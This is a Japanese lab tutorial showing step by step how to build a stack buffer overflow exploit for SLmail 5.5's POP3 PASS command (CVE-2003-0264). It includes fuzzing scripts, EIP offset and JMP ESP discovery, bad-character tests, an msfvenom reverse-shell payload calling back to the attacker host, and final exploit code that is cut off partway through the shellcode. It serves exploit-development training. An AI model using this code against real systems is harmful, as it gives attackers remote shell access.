LoginSignup
21
20

More than 3 years have passed since last update.

スタックベースバッファオーバーフローの脆弱性を突くエクスプロイトコードの開発

Last updated at Posted at 2019-11-27

はじめに

本稿では、Win32プログラムが抱えるスタックベースバッファオーバーフローの脆弱性を突くエクスプロイトコードの開発プロセスについて説明します。
SLmail (Seattle Lab Mail) 5.5.0.4433は、SMTPとPOP3サービスを提供するメールサーバープログラムです。このプログラムにはCVE-2003-0264の脆弱性を抱えています。この脆弱性を突くエクスプロイトコードの開発を行います。

ラボの構築

本稿の演習を行うには、標的となる脆弱なSLmailアプリケーションを実行するWindows OSと、標的に対して攻撃を行うKali Linuxを用意する必要があります。

標的システムに導入すべき解析ツール(Windows OS):

ツール URL
Immunity Debugger(イミュニティー デバッガ) https://www.immunityinc.com/products/debugger/
Python 2.7.14(またはそれ以降の2.7.xxバージョン) https://www.python.org/downloads/windows/
mona.py(Immunity Debuggerの拡張機能) https://github.com/corelan/mona

標的システムの構築

本稿では、標的システムに次のWindows 7 Ultimate環境をVMware上に稼働させています。

c:\bin>ver

Microsoft Windows [Version 6.1.7600]

c:\bin>echo %PROCESSOR_ARCHITECTURE%
x86

解析ツールのインストール

  1. Immunity Debuggerをインストールします。Python 2.7.1がインストールされていない場合、Python 2.7.1 Setupプログラムが起動します。すべてのオプションに対して[Next >]を選択します。
  2. Immunity DebuggerにバンドルされていたPython 2.7.1Python 2.7.14(またはそれ以降の2.7.xxバージョン)で上書きします。これは、mona.pyを更新する際のTLSの問題を回避するために必要となる更新です。
  3. mona.pyPyCommandsフォルダー(C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands)にコピーします。 mona.png

Immunity Debuggerを開き、ウインドウ最下部のコマンドプロンプトにコマンド構文!mona config -set workingfolder c:\logs\%pを入力します。これにより、mona.pyのログをC:¥logs¥<program name>に記録されます。ここで、program nameImmunity Debuggerのデバッグ対象プログラムを示しています。
mona config.png
ここまでセットアップできたら、いったん、VMwareにてスナップショットの作成を実行します。これにより、別のプログラムに対して解析を行う際にもこのスナップショットを転用することができます。

Windowsファイアウォール機能の無効化

管理者権限でコマンドプロンプトを起動します。

C:¥>powershell start-process cmd -verb runas

netsh advfirewallコマンドを使用し、Windowsのファイアウォール機能を無効にします。

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>netsh advfirewall set allprofiles state off
OK

SLmail 5.5

SLMail 5.5.0.4433をExploit-db.com(EDB-ID:638)からダウンロード([Vulnerable App:]のアイコンをクリックすると、バイナリファイルがダウンロード可能)します。
ExploitDB.png
SLmail(入手したバイナリファイル)のインストールでは、すべてのオプションに対して[Next >]を選択します。

インストール時にドメイン名に関する警告が表示される場合があります。この場合、警告を無視して[OK]を選択してください。
SLmail setup.png

インストールが終了すると再起動が促されます。再起動後、[スタート] > [SL Products] > [SLmail] > [SLmail Configuration]を開きます。
[Users]タブを選択し、[SLmail Configuration]ウインドウ上で右クリックメニューを表示させます。[New] > [User]をクリックして、任意のユーザーを追加します。
SLmail Configuration.png

このあとの内容は初期設定で追加されているrootユーザを使用します。MailBoxの名前はroot、パスワードは設定されていません。
Edit User.png

攻撃側のKali Linuxから、標的側のWindows OSに対してPOP3サービスの応答について確認します。ここでは、netcatコマンドを使用して確認します。

root@kali:~# nc 172.16.208.172 110
+OK POP3 server VMOSX-WIN7-CNT ready <00002.1747491@VMOSX-WIN7-CNT>
USER root
+OK root welcome here
PASS
+OK mailbox for root has 0 messages (0 octets)
QUIT
+OK POP3 server VMOSX-WIN7-CNT signing off.
root@kali:~# 

Immunity Debuggerによるデバッグ

Immunity Debuggerのアイコンを右クリックし、[管理者として実行(A)...]を選択して起動します。[File] > [Attach]にて、SLmail.exeを選択します。
[Debug] > [Run]または、F9にて、プログラムを実行します。
Attach.png

ファジング(Fuzzing)

SLmail.exeにファズ(fuzz)データを送信するペイロードfuzzer_slmail.pyプログラムをコーディングします。
このコードはSLmail.exeが受け入れる限り、PASSコマンドにA文字列を100ステップで送り続けます。

#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

while len(buffer) <= 30:
    buffer.append("A" * counter)
    counter = counter + 100

for string in buffer:
    print ("Fuzzing with %s bytes" % len(string))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    connect = s.connect((host,port))
    s.recv(1024)
    s.send('USER root\r\n')
    s.recv(1024)
    s.send('PASS ' + string + '\r\n')
    s.send('QUIT\r\n')
    s.close()

結果、2700 bytesまで受け入れていることが明らかとなりました。

root@kali:~# python fuzzer_slmail.py 
Fuzzing with 1 bytes
Fuzzing with 100 bytes
.
.
Fuzzing with 2700 bytes

EIPの制御

EIPを上書きする正確な文字数の特定を試みます。必要となるテスト用のパターンを作成します。ここでは、Metasploit Frameworkpattern_create.rbにて生成を行います。

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9

作成されたパターンを送信するようにコードを書き換えます。

#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

string = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9"

print "Fuzzing..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()

Pythonコードを実行します。Immunity Debuggerを確認すると、EIP39694438にて上書きされていることが解ります。
eip control.png

Metasploit Frameworkpatter_offsetを使用して、正確なバイトカウントを取得します。2606 byteであることが判明しました。

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
[*] Exact match at offset 2606
root@kali:~#

Offsetの検証

コードをさらに書き換えます。

  • 2606 bytesA(16進コードは0x41)でバッファを上書き
  • EIPの値を42424242Bの16進コードは0x42)で上書き
  • 500 bytesC(16進コードは0x43)を疑似ペイロードにみたて上書き
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

junk = b"A" * 2606
EIP = b"BBBB"
payload = b"C" * 500

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + payload + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()

Pythonコードを実行します。Immunity Debuggerを確認すると、EIP42424242にて上書きすることに成功したことが確認できます。
eip overwrite.png

JMP ESPの検索

ペイロードを発動させるには、EIPJMP ESPアドレスで上書きする必要があります。
ただし、ESPアドレスは起動するたびに異なる値となります。これでは、ESPアドレスをハードコーディングすることができず、エクスプロイトが安定しません。幸いなことに、ほとんどのプログラムには、ESPにリダイレクトするJMP ESPと呼ばれるバイト列があります。そのようなアドレスの命令ポインタ(EIP)を上書きすると、ペイロードへジャンプさせることが可能です。

まず、mona.pyを使用しSLmail.exeでロードされたモジュールのリストを取得します。Immunity Debuggerを開き、ウインドウ最下部のコマンドプロンプトにコマンド構文!mona modulesを入力します。
mona modules.png

RebaseSafeSEHASLRNXCompat列の値がすべてFalseになっているモジュールを特定します。その結果、SLmail.exeSLMFC.DLLが候補として選定されました。
ただし、SLmail.exeBaseアドレスには0x00が含まれています。このため、SLMFC.DLLモジュールのみがJMP ESPを見つけるのに適していると判断できます。

一般的にメインの実行可能ファイル(すなわちSLmail.exe)には、先頭に0x00ゼロアドレス(Bad Characters)が含まれています。これをバッファに送信すると多くのエクスプロイトは破損します。

次に、JMP ESPの16進コードについて確認します。ここでは、Metasploit Frameworknasm_shell.rbを使って確認を行います。その結果、JMP ESP¥FF¥E4であることが特定できました。

root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm > JMP ESP
00000000  FFE4              jmp esp
nasm > exit

mona.pyを使用しslmfc.dllからJMP ESPを探します。Immunity Debuggerを開き、ウインドウ最下部のコマンドプロンプトにコマンド構文!mona find -s "¥xff¥xe4" -m slmfc.dllを入力します。
mona find.png

found a total of 19 pointersの結果が得られます。出力のうち、最初のアドレスである0x5f4a358fを記録しておきます。

  • JMP ESPアドレス:0x5f4a358f

コードを先ほど特定したESPのアドレス0x5f4a358fを元にさらに書き換えます。
注意すべきポイントは、x86アーキテクチャはリトルエンディアン形式のメモリアドレスを使用することです。すなわち、メモリアドレスを逆に入力する必要があります。

  • EIPの値を\x8F\x35\x4A\x5Fで上書き
#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

junk = b"A" * 2606
EIP = "\x8F\x35\x4A\x5F"
payload = b"C" * 500

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + payload + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()

コードを実行する前に、Immunity Debuggerでブレークポイントの設定を行います。これにより、そのポイントを超えて命令を実行する前に一時停止するように指示することを狙っています。

Immunity Debuggerを開き、ウインドウ最下部のコマンドプロンプトにコマンド構文bp 0x5F4A358Fを入力します。
Pythonコードを実行します。Immunity Debuggerを確認すると、ステータスバーに、JMP ESP命令を含むメモリアドレス5F4A358Fでブレークポイントに到達したことが示されます。
breakpoint.png

Bad Charactersの検証

一部の16進文字は、シェルコードの実行を妨げるため、禁じられている場合があります。これをBad Charactersと呼びます。シェルコードを生成する前に定義されているBad Charactersを見つける必要があります。
典型的な例として、NULL文字またはNULLバイトと呼ばれる\x00があります。
Bad Charactersを見つけるため、まずすべての16進文字を用意する必要があります。そこで、次のPythonコードを使って16進文字の生成を行います。

import sys
for x in range(1,256):
    sys.stdout.write("\\x" + '{:02x}'.format(x))

用意したBad Charactersを送信するようにコードを書き換えます。

#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

junk = b"A" * 2606
EIP = b"BBBB"
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.recv(1024)
s.send('USER root\r\n')
s.recv(1024)
s.send('PASS ' + junk + EIP + badchars + '\r\n')
s.send('QUIT\r\n')
print "\nDone!"
s.close()

Pythonコードを実行し、Immunity Debuggerを確認します。ESPレジスタのFollow in Dump機能を利用し、バッファ変数がどこかで切り捨てられている可能性を確認します。
まずはじめに、x0ABad Charactersであることが特定できました。
follow in dump.png

続いて、Pythonコードからもx0Aを排除し、再びコードを実行します。その結果、x0DBad Charactersであることが特定できました。先ほどと同様に、Pythonコードからx0Dも排除し、再びコードを実行します。
これで、すべてのBad Charactersを取り除くことができました。
Bad Characters.png

  • Bad Characters:¥x00 ¥x0A ¥0D

SLmailのBad Charactersをコード表記で確認してみます。
「文字列の終わり(¥x00)」、「キャリッジリターン(¥x0A)」、「改行(¥x0D)」です。
すなわち、脆弱性対策として意図して組み込まれたものではなく、機能を提供するために必然的に組み込まれたBad Charactersであると考察できます。

エクスプロイトコードの構築

リバースシェルコードの生成

msfvenomuコマンドを使用して、攻撃端末のリスナーに接続するWindowsリバースシェルコードを生成します。このとき、判明している3つのBad Characters¥x00 ¥x0A ¥0D)を除いたシェルコードを生成する必要があります。

コマンド構文は、msfvenom -p windows/shell_reverse_tcp LHOST=[attack machine IP] LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0A\x0D" -f c > shellcode.txtです。

root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.171 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0A\x0D" -f c > shellcode.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
root@kali:~# 

リバースシェルの確立

これまで得られた情報を元に、エクスプロイトコードの組み立てを行います。

  • 2606 bytesA(16進コードは0x41)でバッファを上書き
  • EIPの値を\x8F\x35\x4A\x5Fで上書き(JMP ESPアドレス)
  • NOP(No Operation)命令(\x90)を8つ挿入:NOP Sled(NOPスライド)
  • シェルコード本体

payload = "A"*[offset] + [JMP ESP] + [NOP Sled] + [Shellcode]

#!/usr/bin/python
import sys,socket
host = "172.16.208.172"
port = 110

buffer = ["A"]
counter = 100

junk = b"A" * 2606
EIP = "\x8F\x35\x4A\x5F"
NOP = "\x90" * 8
shellcode = ("\xdb\xc6\xbe\x09\x4c\x42\xd3\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x52\x83\xc5\x04\x31\x75\x13\x03\x7c\x5f\xa0\x26\x82\xb7\xa6"
"\xc9\x7a\x48\xc7\x40\x9f\x79\xc7\x37\xd4\x2a\xf7\x3c\xb8\xc6"
"\x7c\x10\x28\x5c\xf0\xbd\x5f\xd5\xbf\x9b\x6e\xe6\xec\xd8\xf1"
"\x64\xef\x0c\xd1\x55\x20\x41\x10\x91\x5d\xa8\x40\x4a\x29\x1f"
"\x74\xff\x67\x9c\xff\xb3\x66\xa4\x1c\x03\x88\x85\xb3\x1f\xd3"
"\x05\x32\xf3\x6f\x0c\x2c\x10\x55\xc6\xc7\xe2\x21\xd9\x01\x3b"
"\xc9\x76\x6c\xf3\x38\x86\xa9\x34\xa3\xfd\xc3\x46\x5e\x06\x10"
"\x34\x84\x83\x82\x9e\x4f\x33\x6e\x1e\x83\xa2\xe5\x2c\x68\xa0"
"\xa1\x30\x6f\x65\xda\x4d\xe4\x88\x0c\xc4\xbe\xae\x88\x8c\x65"
"\xce\x89\x68\xcb\xef\xc9\xd2\xb4\x55\x82\xff\xa1\xe7\xc9\x97"
"\x06\xca\xf1\x67\x01\x5d\x82\x55\x8e\xf5\x0c\xd6\x47\xd0\xcb"
"\x19\x72\xa4\x43\xe4\x7d\xd5\x4a\x23\x29\x85\xe4\x82\x52\x4e"
"\xf4\x2b\x87\xc1\xa4\x83\x78\xa2\x14\x64\x29\x4a\x7e\x6b\x16"
"\x6a\x81\xa1\x3f\x01\x78\x22\xec\xc6\x52\x19\x84\xe4\x52\x4f"
"\x09\x60\xb4\x05\xa1\x24\x6f\xb2\x58\x6d\xfb\x23\xa4\xbb\x86"
"\x64\x2e\x48\x77\x2a\xc7\x25\x6b\xdb\x27\x70\xd1\x4a\x37\xae"
"\x7d\x10\xaa\x35\x7d\x5f\xd7\xe1\x2a\x08\x29\xf8\xbe\xa4\x10"
